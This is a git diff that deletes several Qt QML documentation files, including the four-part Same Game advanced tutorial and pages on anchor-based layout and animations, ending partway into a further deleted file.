diff options
Diffstat (limited to 'doc/src/declarative')
131 files changed, 0 insertions, 12488 deletions
diff --git a/doc/src/declarative/advtutorial.qdoc b/doc/src/declarative/advtutorial.qdoc deleted file mode 100644 index 59224f3e..00000000 --- a/doc/src/declarative/advtutorial.qdoc +++ /dev/null @@ -1,465 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-advtutorial.html -\title QML Advanced Tutorial -\brief A more advanced tutorial, showing how to use QML to create a game. -\nextpage QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks - -This tutorial walks step-by-step through the creation of a full application using QML. -It assumes that you already know the basics of QML (for example, from reading the -\l{QML Tutorial}{simple tutorial}). - -In this tutorial we write a game, \e {Same Game}, based on the Same Game application -included in the declarative \c demos directory, which looks like this: - -\image declarative-samegame.png - -We will cover concepts for producing a fully functioning application, including -JavaScript integration, using QML \l{State}{States} and \l{Behavior}{Behaviors} to -manage components and enhance your interface, and storing persistent application data. - -An understanding of JavaScript is helpful to understand parts of this tutorial, but if you don't -know JavaScript you can still get a feel for how you can integrate backend logic to create and -control QML elements. - - -Tutorial chapters: - -\list 1 -\li \l {declarative/tutorials/samegame/samegame1}{Creating the Game Canvas and Blocks} -\li \l {declarative/tutorials/samegame/samegame2}{Populating the Game Canvas} -\li \l {declarative/tutorials/samegame/samegame3}{Implementing the Game Logic} -\li \l {declarative/tutorials/samegame/samegame4}{Finishing Touches} -\endlist - -All the code in this tutorial can be found in Qt's \c examples/declarative/tutorials/samegame -directory. -*/ - -/*! -\page qml-advtutorial1.html -\title QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks -\contentspage QML Advanced Tutorial -\previouspage QML Advanced Tutorial -\nextpage QML Advanced Tutorial 2 - Populating the Game Canvas - -\example declarative/tutorials/samegame/samegame1 - -\section2 Creating the application screen - -The first step is to create the basic QML items in your application. - -To begin with, we create our Same Game application with a main screen like this: - -\image declarative-adv-tutorial1.png - -This is defined by the main application file, \c samegame.qml, which looks like this: - -\snippet declarative/tutorials/samegame/samegame1/samegame.qml 0 - -This gives you a basic game window that includes the main canvas for the -blocks, a "New Game" button and a score display. - -One item you may not recognize here -is the \l SystemPalette item. This provides access to the Qt system palette -and is used to give the button a more native look-and-feel. - -Notice the anchors for the \c Item, \c Button and \c Text elements are set using -\l {qdeclarativeintroduction.html#dot-properties}{group notation} for readability. - -\section2 Adding \c Button and \c Block components - -The \c Button item in the code above is defined in a separate component file named \c Button.qml. -To create a functional button, we use the QML elements \l Text and \l MouseArea inside a \l Rectangle. -Here is the \c Button.qml code: - -\snippet declarative/tutorials/samegame/samegame1/Button.qml 0 - -This essentially defines a rectangle that contains text and can be clicked. The \l MouseArea -has an \c onClicked() handler that is implemented to emit the \c clicked() signal of the -\c container when the area is clicked. - -In Same Game, the screen is filled with small blocks when the game begins. -Each block is just an item that contains an image. The block -code is defined in a separate \c Block.qml file: - -\snippet declarative/tutorials/samegame/samegame1/Block.qml 0 - -At the moment, the block doesn't do anything; it is just an image. As the -tutorial progresses we will animate and give behaviors to the blocks. -We have not added any code yet to create the blocks; we will do this -in the next chapter. - -We have set the image to be the size of its parent Item using \c {anchors.fill: parent}. -This means that when we dynamically create and resize the block items -later on in the tutorial, the image will be scaled automatically to the -correct size. - -Notice the relative path for the Image element's \c source property. -This path is relative to the location of the file that contains the \l Image element. -Alternatively, you could set the Image source to an absolute file path or a URL -that contains an image. - -You should be familiar with the code so far. We have just created some basic -elements to get started. Next, we will populate the game canvas with some blocks. -*/ - - -/*! -\page qml-advtutorial2.html -\title QML Advanced Tutorial 2 - Populating the Game Canvas -\contentspage QML Advanced Tutorial -\previouspage QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks -\nextpage QML Advanced Tutorial 3 - Implementing the Game Logic - -\example declarative/tutorials/samegame/samegame2 - -\section2 Generating the blocks in JavaScript - -Now that we've written some basic elements, let's start writing the game. - -The first task is to generate the game blocks. Each time the New Game button -is clicked, the game canvas is populated with a new, random set of -blocks. Since we need to dynamically generate new blocks for each new game, -we cannot use \l Repeater to define the blocks. Instead, we will -create the blocks in JavaScript. - -Here is the JavaScript code for generating the blocks, contained in a new -file, \c samegame.js. The code is explained below. - -\snippet declarative/tutorials/samegame/samegame2/samegame.js 0 - -The \c startNewGame() function deletes the blocks created in the previous game and -calculates the number of rows and columns of blocks required to fill the game window for the new game. -Then, it creates an array to store all the game -blocks, and calls \c createBlock() to create enough blocks to fill the game window. - -The \c createBlock() function creates a block from the \c Block.qml file -and moves the new block to its position on the game canvas. This involves several steps: - -\list - -\li \l {QML:Qt::createComponent()}{Qt.createComponent()} is called to - generate an element from \c Block.qml. If the component is ready, - we can call \c createObject() to create an instance of the \c Block - item. - -\li If \c createObject() returned null (i.e. if there was an error - while loading the object), print the error information. - -\li Place the block in its position on the board and set its width and - height. Also, store it in the blocks array for future reference. - -\li Finally, print error information to the console if the component - could not be loaded for some reason (for example, if the file is - missing). - -\endlist - - -\section2 Connecting JavaScript components to QML - -Now we need to call the JavaScript code in \c samegame.js from our QML files. -To do this, we add this line to \c samegame.qml which imports -the JavaScript file as a \l{Modules#QML Modules}{module}: - -\snippet declarative/tutorials/samegame/samegame2/samegame.qml 2 - -This allows us to refer to any functions within \c samegame.js using "SameGame" -as a prefix: for example, \c SameGame.startNewGame() or \c SameGame.createBlock(). -This means we can now connect the New Game button's \c onClicked handler to the \c startNewGame() -function, like this: - -\snippet declarative/tutorials/samegame/samegame2/samegame.qml 1 - -So, when you click the New Game button, \c startNewGame() is called and generates a field of blocks, like this: - -\image declarative-adv-tutorial2.png - -Now, we have a screen of blocks, and we can begin to add the game mechanics. - -*/ - -/*! -\page qml-advtutorial3.html -\title QML Advanced Tutorial 3 - Implementing the Game Logic -\contentspage QML Advanced Tutorial -\previouspage QML Advanced Tutorial 2 - Populating the Game Canvas -\nextpage QML Advanced Tutorial 4 - Finishing Touches - -\example declarative/tutorials/samegame/samegame3 - -\section2 Making a playable game - -Now that we have all the game components, we can add the game logic that -dictates how a player interacts with the blocks and plays the game -until it is won or lost. - -To do this, we have added the following functions to \c samegame.js: - -\list -\li \c{handleClick(x,y)} -\li \c{floodFill(xIdx,yIdx,type)} -\li \c{shuffleDown()} -\li \c{victoryCheck()} -\li \c{floodMoveCheck(xIdx, yIdx, type)} -\endlist - -As this is a tutorial about QML, not game design, we will only discuss \c handleClick() and \c victoryCheck() below since they interface directly with the QML elements. Note that although the game logic here is written in JavaScript, it could have been written in C++ and then exposed to QML. - -\section3 Enabling mouse click interaction - -To make it easier for the JavaScript code to interface with the QML elements, we have added an Item called \c gameCanvas to \c samegame.qml. It replaces the background as the item which contains the blocks. It also accepts mouse input from the user. Here is the item code: - -\snippet declarative/tutorials/samegame/samegame3/samegame.qml 1 - -The \c gameCanvas item is the exact size of the board, and has a \c score property and a \l MouseArea to handle mouse clicks. -The blocks are now created as its children, and its dimensions are used to determine the board size so that -the application scales to the available screen size. -Since its size is bound to a multiple of \c blockSize, \c blockSize was moved out of \c samegame.js and into \c samegame.qml as a QML property. -Note that it can still be accessed from the script. - -When clicked, the \l MouseArea calls \c{handleClick()} in \c samegame.js, which determines whether the player's click should cause any blocks to be removed, and updates \c gameCanvas.score with the current score if necessary. Here is the \c handleClick() function: - -\snippet declarative/tutorials/samegame/samegame3/samegame.js 1 - -Note that if \c score was a global variable in the \c{samegame.js} file you would not be able to bind to it. You can only bind to QML properties. - -\section3 Updating the score - -When the player clicks a block and triggers \c handleClick(), \c handleClick() also calls \c victoryCheck() to update the score and to check whether the player has completed the game. Here is the \c victoryCheck() code: - -\snippet declarative/tutorials/samegame/samegame3/samegame.js 2 - -This updates the \c gameCanvas.score value and displays a "Game Over" dialog if the game is finished. - -The Game Over dialog is created using a \c Dialog element that is defined in \c Dialog.qml. Here is the \c Dialog.qml code. Notice how it is designed to be usable imperatively from the script file, via the functions and signals: - -\snippet declarative/tutorials/samegame/samegame3/Dialog.qml 0 - -And this is how it is used in the main \c samegame.qml file: - -\snippet declarative/tutorials/samegame/samegame3/samegame.qml 2 - -We give the dialog a \l {Item::z}{z} value of 100 to ensure it is displayed on top of our other components. The default \c z value for an item is 0. - - -\section3 A dash of color - -It's not much fun to play Same Game if all the blocks are the same color, so we've modified the \c createBlock() function in \c samegame.js to randomly create a different type of block (for either red, green or blue) each time it is called. \c Block.qml has also changed so that each block contains a different image depending on its type: - -\snippet declarative/tutorials/samegame/samegame3/Block.qml 0 - - -\section2 A working game - -Now we now have a working game! The blocks can be clicked, the player can score, and the game can end (and then you can start a new one). -Here is a screenshot of what has been accomplished so far: - -\image declarative-adv-tutorial3.png - -This is what \c samegame.qml looks like now: - -\snippet declarative/tutorials/samegame/samegame3/samegame.qml 0 - -The game works, but it's a little boring right now. Where are the smooth animated transitions? Where are the high scores? -If you were a QML expert you could have written these in the first iteration, but in this tutorial they've been saved -until the next chapter - where your application becomes alive! - -*/ - -/*! -\page qml-advtutorial4.html -\title QML Advanced Tutorial 4 - Finishing Touches -\contentspage QML Advanced Tutorial -\previouspage QML Advanced Tutorial 3 - Implementing the Game Logic - -\example declarative/tutorials/samegame/samegame4 - -\section2 Adding some flair - -Now we're going to do two things to liven up the game: animate the blocks and add a High Score system. - -We've also cleaned up the directory structure for our application files. We now have a lot of files, so all the -JavaScript and QML files outside of \c samegame.qml have been moved into a new sub-directory named "content". - -In anticipation of the new block animations, \c Block.qml file is now renamed to \c BoomBlock.qml. - -\section3 Animating block movement - -First we will animate the blocks so that they move in a fluid manner. QML has a number of methods for adding fluid -movement, and in this case we're going to use the \l Behavior element to add a \l SpringAnimation. -In \c BoomBlock.qml, we apply a \l SpringAnimation behavior to the \c x and \c y properties so that the -block will follow and animate its movement in a spring-like fashion towards the specified position (whose -values will be set by \c samegame.js).Here is the code added to \c BoomBlock.qml: - -\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 1 - -The \c spring and \c damping values can be changed to modify the spring-like effect of the animation. - -The \c {enabled: spawned} setting refers to the \c spawned value that is set from \c createBlock() in \c samegame.js. -This ensures the \l SpringAnimation on the \c x is only enabled after \c createBlock() has set the block to -the correct position. Otherwise, the blocks will slide out of the corner (0,0) when a game begins, instead of falling -from the top in rows. (Try commenting out \c {enabled: spawned} and see for yourself.) - -\section3 Animating block opacity changes - -Next, we will add a smooth exit animation. For this, we'll use a \l Behavior element, which allows us to specify -a default animation when a property change occurs. In this case, when the \c opacity of a Block changes, we will -animate the opacity value so that it gradually fades in and out, instead of abruptly changing between fully -visible and invisible. To do this, we'll apply a \l Behavior on the \c opacity property of the \c Image -element in \c BoomBlock.qml: - -\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 2 - -Note the \c{opacity: 0} which means the block is transparent when it is first created. We could set the opacity -in \c samegame.js when we create and destroy the blocks, -but instead we'll use \l{QML States}{states}, since this is useful for the next animation we're going to add. -Initially, we add these States to the root element of \c{BoomBlock.qml}: -\code - property bool dying: false - states: [ - State{ name: "AliveState"; when: spawned == true && dying == false - PropertyChanges { target: img; opacity: 1 } - }, - State{ name: "DeathState"; when: dying == true - PropertyChanges { target: img; opacity: 0 } - } - ] -\endcode - -Now blocks will automatically fade in, as we already set \c spawned to true when we implemented the block animations. -To fade out, we set \c dying to true instead of setting opacity to 0 when a block is destroyed (in the \c floodFill() function). - -\section3 Adding particle effects - -Finally, we'll add a cool-looking particle effect to the blocks when they are destroyed. To do this, we first add a \l Particles element in -\c BoomBlock.qml, like so: - -\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 3 - -To fully understand this you should read the \l Particles documentation, but it's important to note that \c emissionRate is set -to zero so that particles are not emitted normally. -Also, we extend the \c dying State, which creates a burst of particles by calling the \c burst() method on the particles element. The code for the states now look -like this: - -\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 4 - -Now the game is beautifully animated, with subtle (or not-so-subtle) animations added for all of the -player's actions. The end result is shown below, with a different set of images to demonstrate basic theming: - -\image declarative-adv-tutorial4.gif - -The theme change here is produced simply by replacing the block images. This can be done at runtime by changing the \l Image \c source property, so for a further challenge, you could add a button that toggles between themes with different images. - -\section2 Keeping a High Scores table - -Another feature we might want to add to the game is a method of storing and retrieving high scores. - -To do this, we will show a dialog when the game is over to request the player's name and add it to a High Scores table. -This requires a few changes to \c Dialog.qml. In addition to a \c Text element, it now has a -\c TextInput child item for receiving keyboard text input: - -\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 0 -\dots 4 -\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 2 -\dots 4 -\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 3 - -We'll also add a \c showWithInput() function. The text input will only be visible if this function -is called instead of \c show(). When the dialog is closed, it emits a \c closed() signal, and -other elements can retrieve the text entered by the user through an \c inputText property: - -\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 0 -\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 1 -\dots 4 -\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 3 - -Now the dialog can be used in \c samegame.qml: - -\snippet declarative/tutorials/samegame/samegame4/samegame.qml 0 - -When the dialog emits the \c closed signal, we call the new \c saveHighScore() function in \c samegame.js, which stores the high score locally in an SQL database and also send the score to an online database if possible. - -The \c nameInputDialog is activated in the \c victoryCheck() function in \c samegame.js: - -\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 3 -\dots 4 -\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 4 - -\section3 Storing high scores offline - -Now we need to implement the functionality to actually save the High Scores table. - -Here is the \c saveHighScore() function in \c samegame.js: - -\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 2 - -First we call \c sendHighScore() (explained in the section below) if it is possible to send the high scores to an online database. - -Then, we use the \l{Offline Storage API} to maintain a persistent SQL database unique to this application. We create an offline storage database for the high scores using \c openDatabase() and prepare the data and SQL query that we want to use to save it. The offline storage API uses SQL queries for data manipulation and retrieval, and in the \c db.transaction() call we use three SQL queries to initialize the database (if necessary), and then add to and retrieve high scores. To use the returned data, we turn it into a string with one line per row returned, and show a dialog containing that string. - -This is one way of storing and displaying high scores locally, but certainly not the only way. A more complex alternative would be to create a high score dialog component, and pass it the results for processing and display (instead of reusing the \c Dialog). This would allow a more themeable dialog that could better present the high scores. If your QML is the UI for a C++ application, you could also have passed the score to a C++ function to store it locally in a variety of ways, including a simple format without SQL or in another SQL database. - -\section3 Storing high scores online - -You've seen how you can store high scores locally, but it is also easy to integrate a web-enabled high score storage into your QML application. The implementation we've done her is very -simple: the high score data is posted to a php script running on a server somewhere, and that server then stores it and -displays it to visitors. You could also request an XML or QML file from that same server, which contains and displays the scores, -but that's beyond the scope of this tutorial. The php script we use here is available in the \c examples directory. - -If the player entered their name we can send the data to the web service us - -If the player enters a name, we send the data to the service using this code in \c samegame.js: - -\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 1 - -The \l XMLHttpRequest in this code is the same as the \c XMLHttpRequest() as you'll find in standard browser JavaScript, and can be used in the same way to dynamically get XML -or QML from the web service to display the high scores. We don't worry about the response in this case - we just post the high -score data to the web server. If it had returned a QML file (or a URL to a QML file) you could instantiate it in much the same -way as you did with the blocks. - -An alternate way to access and submit web-based data would be to use QML elements designed for this purpose. XmlListModel -makes it very easy to fetch and display XML based data such as RSS in a QML application (see the Flickr demo for an example). - - -\section2 That's it! - -By following this tutorial you've seen how you can write a fully functional application in QML: - -\list -\li Build your application with \l {{QML Elements}}{QML elements} -\li Add application logic \l{Integrating JavaScript}{with JavaScript code} -\li Add animations with \l {Behavior}{Behaviors} and \l{QML States}{states} -\li Store persistent application data using, for example, the \l{Offline Storage API} or \l XMLHttpRequest -\endlist - -There is so much more to learn about QML that we haven't been able to cover in this tutorial. Check out all the -demos and examples and the \l {Qt Quick}{documentation} to see all the things you can do with QML! -*/ diff --git a/doc/src/declarative/anchor-layout.qdoc b/doc/src/declarative/anchor-layout.qdoc deleted file mode 100644 index 611b3a16..00000000 --- a/doc/src/declarative/anchor-layout.qdoc +++ /dev/null @@ -1,147 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-anchor-layout.html -\target anchor-layout -\contentspage QML Features -\previouspage {Using QML Positioner and Repeater Items}{Component Layouts} -\nextpage {QML Mouse Events}{Mouse Events} -\title Anchor-based Layout in QML - -In addition to the more traditional \l Grid, \l Row, and \l Column, -QML also provides a way to layout items using the concept of \e anchors. -Each item can be thought of as having a set of 7 invisible "anchor lines": -\l {Item::anchors.left}{left}, \l {Item::anchors.horizontalCenter}{horizontalCenter}, -\l {Item::anchors.right}{right}, \l {Item::anchors.top}{top}, -\l {Item::anchors.verticalCenter}{verticalCenter}, \l {Item::anchors.baseline}{baseline}, -and \l {Item::anchors.bottom}{bottom}. - -\image edges_qml.png - -The baseline (not pictured above) corresponds to the imaginary line on which -text would sit. For items with no text it is the same as \e top. - -The QML anchoring system allows you to define relationships between the anchor lines of different items. For example, you can write: - -\code -Rectangle { id: rect1; ... } -Rectangle { id: rect2; anchors.left: rect1.right; ... } -\endcode - -Each Item has two properties for each anchor line: one to bind from and one to bind to. The properties to bind -from are contained in the \l{Item::}{anchors} attached property (seen as \c {anchors.left} above). -The properties to bind to are normal properties (seen as \c {rect1.right} above). -This way, each item can have several bindings to the same anchor line. Note that the properties to bind to are -not visible in the documentation for Item. -So in the example above, the left edge of \e rect2 is bound to the right edge of \e rect1, producing the following: - -\image edge1.png - - -You can specify multiple anchors. For example: - -\code -Rectangle { id: rect1; ... } -Rectangle { id: rect2; anchors.left: rect1.right; anchors.top: rect1.bottom; ... } -\endcode - -\image edge3.png - -By specifying multiple horizontal or vertical anchors you can control the size of an item. Below, -\e rect2 is anchored to the right of \e rect1 and the left of \e rect3. If either of the blue -rectangles are moved, \e rect2 will stretch and shrink as necessary: - -\code -Rectangle { id: rect1; x: 0; ... } -Rectangle { id: rect2; anchors.left: rect1.right; anchors.right: rect3.left; ... } -Rectangle { id: rect3; x: 150; ... } -\endcode - -\image edge4.png - -There are also some convenience anchors. anchors.fill is a convenience that is the same as setting the left,right,top and bottom anchors -to the left,right,top and bottom of the target item. anchors.centerIn is another convenience anchor, and is the same as setting the verticalCenter -and horizontalCenter anchors to the verticalCenter and horizontalCenter of the target item. - -\section1 Anchor Margins and Offsets - -The anchoring system also allows \e margins and \e offsets to be specified for an item's anchors. -Margins specify the amount of empty space to leave to the outside of an item's anchor, while -offsets allow positioning to be manipulated using the center anchor lines. An item can -specify its anchor margins individually through \l {Item::anchors.leftMargin}{leftMargin}, -\l {Item::anchors.rightMargin}{rightMargin}, \l {Item::anchors.topMargin}{topMargin} and -\l {Item::anchors.bottomMargin}{bottomMargin}, or use \l {Item::}{anchors.margins} to -specify the same margin value for all four edges. Anchor offsets are specified using -\l {Item::anchors.horizontalCenterOffset}{horizontalCenterOffset}, -\l {Item::anchors.verticalCenterOffset}{verticalCenterOffset} and -\l {Item::anchors.baselineOffset}{baselineOffset}. - -\image margins_qml.png - -The following example specifies a left margin: - -\code -Rectangle { id: rect1; ... } -Rectangle { id: rect2; anchors.left: rect1.right; anchors.leftMargin: 5; ... } -\endcode - -In this case, a margin of 5 pixels is reserved to the left of \e rect2, producing the following: - -\image edge2.png - -\note Anchor margins only apply to anchors; they are \e not a generic means of applying margins to an \l Item. -If an anchor margin is specified for an edge but the item is not anchored to any item on that -edge, the margin is not applied. - - -\section1 Restrictions - -For performance reasons, you can only anchor an item to its siblings and direct parent. For example, -the following anchor is invalid and would produce a warning: - -\badcode -Item { - id: group1 - Rectangle { id: rect1; ... } -} -Item { - id: group2 - Rectangle { id: rect2; anchors.left: rect1.right; ... } // invalid anchor! -} -\endcode - -Also, anchor-based layouts cannot be mixed with absolute positioning. If an item specifies its -\l {Item::}{x} position and also sets \l {Item::}{anchors.left}, -or anchors its left and right edges but additionally sets a \l {Item::}{width}, the -result is undefined, as it would not be clear whether the item should use anchoring or absolute -positioning. The same can be said for setting an item's \l {Item::}{y} and \l {Item::}{height} -with \l {Item::}{anchors.top} and \l {Item::}{anchors.bottom}, or setting \l {Item::}{anchors.fill} -as well as \l {Item::}{width} or \l {Item::}{height}. If you wish to change from using -anchor-based to absolute positioning, you can clear an anchor value by setting it to \c undefined. - -*/ diff --git a/doc/src/declarative/animation.qdoc b/doc/src/declarative/animation.qdoc deleted file mode 100644 index 0f58e752..00000000 --- a/doc/src/declarative/animation.qdoc +++ /dev/null @@ -1,240 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativeanimation.html -\ingroup qml-features -\contentspage QML Features -\previouspage {QML States}{States} -\nextpage {QML Data Models}{Structuring Data with Models} -\title QML Animation and Transitions - -\keyword qml-animation-elements -\section1 Animation and Transitions Elements -\list -\li \l {Transition} - Animates transitions during state changes -\li \l {SequentialAnimation} - Runs animations sequentially -\li \l {ParallelAnimation} - Runs animations in parallel -\li \l {Behavior} - Specifies a default animation for property changes -\li \l {PropertyAction} - Sets immediate property changes during animation -\li \l {PauseAnimation} - Introduces a pause in an animation -\li \l {SmoothedAnimation} - Allows a property to smoothly track a value -\li \l {SpringAnimation} - Allows a property to track a value in a spring-like motion -\li \l {ScriptAction} - Runs scripts during an animation -\endlist - -\keyword qml-property-animation-elements -Elements that animate properties based on data types -\list -\li \l {PropertyAnimation} - Animates property changes -\li \l {NumberAnimation} - Animates properties of type qreal -\li \l {Vector3dAnimation} - Animates properties of type QVector3d -\li \l {ColorAnimation} - Animates color changes -\li \l {RotationAnimation} - Animates rotations -\li \l {ParentAnimation} - Animates parent changes -\li \l {AnchorAnimation} - Animates anchor changes -\endlist - -In QML, animations are created by applying animation elements to property -values. Animation elements will interpolate property values to create smooth -transitions. As well, state transitions may assign animations to state changes. - -To create an animation, use an appropriate animation element for the type of -the property that is to be animated, and apply the animation depending on the -type of behavior that is required. - -\keyword qml-triggering-animations -\section1 Triggering Animations - -There are several ways of setting animation to an object. - -\keyword qml-direct-animation -\section2 Direct Property Animation - -To create an immediate movement or animated movement, set the property value -directly. This may be done in signal handlers or attached properties. - -\snippet doc/src/snippets/declarative/animation.qml direct property change - -However, to create more control, \e {property animations} apply smooth movements -by interpolating values between property value changes. Property animations -provide timing controls and allows different interpolations through -\l{qml-easing-animation}{easing curves}. - -\snippet doc/src/snippets/declarative/animation.qml property animation - -Specialized \l{qml-property-animation-elements}{property animation elements} -have more efficient implementations than the \l{PropertyAnimation} element. They -are for setting animations to different QML types such as \c int, \c color, and -rotations. Similarly, the \l{ParentAnimation} can animate parent changes. - -See the \l {qml-controlling-animations}{Controlling Animations} section for more -information about the different animation properties. - -\keyword qml-transition-animations -\section2 Transitions during State Changes - -\l{QML States}{States} are property configurations where a property may have different values to reflect different states. State changes introduce -abrupt property changes; animations smooth transitions to produce visually -appealing state changes. - -The \l{Transition} element can contain -\l{qml-animation-elements}{animation elements} to interpolate property changes -caused by state changes. To assign the transition to an object, bind it to the -\c transitions property. - -A button might have two states, the \c pressed state when the user clicks on the -button and a \c released state when the user releases the button. We can assign -different property configurations for each state. A transition would animate the -change from the \c pressed state to the \c released state. Likewise, there would -be an animation during the change from the \c released state to the \c pressed -state. - -\snippet doc/src/snippets/declarative/animation.qml transition animation - -Binding the \c to and \c from properties to the state's name will assign that -particular transition to the state change. For simple or symmetric transitions, -setting the to \c to property to the wild card symbol, "\c{*}", denotes -that the transition applies to any state change. - -\snippet doc/src/snippets/declarative/animation.qml wildcard animation - -\section2 Default Animation as Behaviors - -Default property animations are set using \e {behavior animations}. Animations -declared in \l {Behavior} elements apply to the property and animates any -property value changes. However, Behavior elements have an -\c enabled property to purposely enable or disable the behavior animations. - -A ball component might have a behavior animation assigned to its \c x, \c y, and -\c color properties. The behavior animation could be set up to simulate an -elastic effect. In effect, this behavior animation would apply the elastic -effect to the properties whenever the ball moves. - -\snippet doc/src/snippets/declarative/animation.qml behavior animation - -There are several methods of assigning behavior animations to properties. The -\c{Behavior on <property>} declaration is a convenient way of assigning a -behavior animation onto a property. - -See the \l {declarative/animation/behaviors/behavior-example}{Behaviors example} for a -demonstration of behavioral animations. - -\section1 Playing Animations in Parallel or in Sequence - -Animations can run \e {in parallel} or \e {in sequence}. Parallel animations -will play a group of animations at the same time while sequential animations -play a group of animations in order: one after the other. Grouping animations in -\l{SequentialAnimation} and \l{ParallelAnimation} will play the animations in -sequence or in parallel. - -A banner component may have several icons or slogans to display, one after the -other. The \c opacity property could transform to \c 1.0 denoting an opaque -object. Using the \l{SequentialAnimation} element, the opacity animations will -play after the preceding animation finishes. The \l{ParallelAnimation} element -will play the animations at the same time. - -\snippet doc/src/snippets/declarative/animation.qml sequential animation - -Once individual animations are placed into a SequentialAnimation or -ParallelAnimation, they can no longer be started and stopped independently. The -sequential or parallel animation must be started and stopped as a group. - -The \l SequentialAnimation element is also useful for playing -\l{qml-transition-animations}{transition animations} because animations are -played in parallel inside transitions. - -See the \l {declarative/animation/basics}{Animation basics example} for a -demonstration of creating and combining multiple animations in QML. - -\keyword qml-controlling-animations -\section1 Controlling Animations - -There are different methods to control animations. - -\section2 Animation Playback -All \l{qml-animation-elements}{animation elements} inherit from the \l Animation element. It is not -possible to create \l Animation objects; instead, this element provides the -essential properties and methods for animation elements. Animation elements have -\c{start()}, \c{stop()}, \c{resume()}, \c{pause()}, \c {restart()}, and -\c{complete()} -- all of these methods control the execution of animations. - -\keyword qml-easing-animation -\section2 Easing - -Easing curves define how the animation will interpolate between the start value -and the end value. Different easing curves might go beyond the defined range of -interpolation. The easing curves simplify the creation of animation effects such -as bounce effects, acceleration, deceleration, and cyclical animations. - -A QML object may have different easing curve for each property animation. There -are also different parameters to control the curve, some of which are exclusive -to a particular curve. For more information about the easing curves, visit the -\l {PropertyAnimation::easing.type}{easing} documentation. - -The \l{declarative/animation/easing}{easing example} visually demonstrates each -of the different easing types. - -\section2 Other Animation Elements - -In addition, QML provides several other elements useful for animation: - -\list -\li PauseAnimation: enables pauses during animations -\li ScriptAction: allows JavaScript to be executed during an animation, and can -be used together with StateChangeScript to reused existing scripts -\li PropertyAction: changes a property \e immediately during an animation, -without animating the property change -\endlist - -These are specialized animation elements that animate different property types -\list -\li SmoothedAnimation: a specialized NumberAnimation that provides smooth -changes in animation when the target value changes -\li SpringAnimation: provides a spring-like animation with specialized -attributes such as \l {SpringAnimation::}{mass}, -\l{SpringAnimation::}{damping} and \l{SpringAnimation::}{epsilon} -\li ParentAnimation: used for animating a parent change (see ParentChange) -\li AnchorAnimation: used for animating an anchor change (see AnchorChanges) -\endlist - -*/ - - - -\snippet doc/src/snippets/declarative/animation-elements.qml color -\snippet doc/src/snippets/declarative/animation-propertyvaluesource.qml 0 -\snippet doc/src/snippets/declarative/animation-signalhandler.qml 0 -\snippet doc/src/snippets/declarative/animation-standalone.qml 0 - -\snippet doc/src/snippets/declarative/animation-transitions.qml 0 -\snippet doc/src/snippets/declarative/animation-groups.qml 0 - -\snippet doc/src/snippets/declarative/animation-groups.qml 1 -\snippet doc/src/snippets/declarative/animation-groups.qml 0 -\image propanim.gif - diff --git a/doc/src/declarative/basicelements.qdoc b/doc/src/declarative/basicelements.qdoc deleted file mode 100644 index a90e2d21..00000000 --- a/doc/src/declarative/basicelements.qdoc +++ /dev/null @@ -1,114 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia 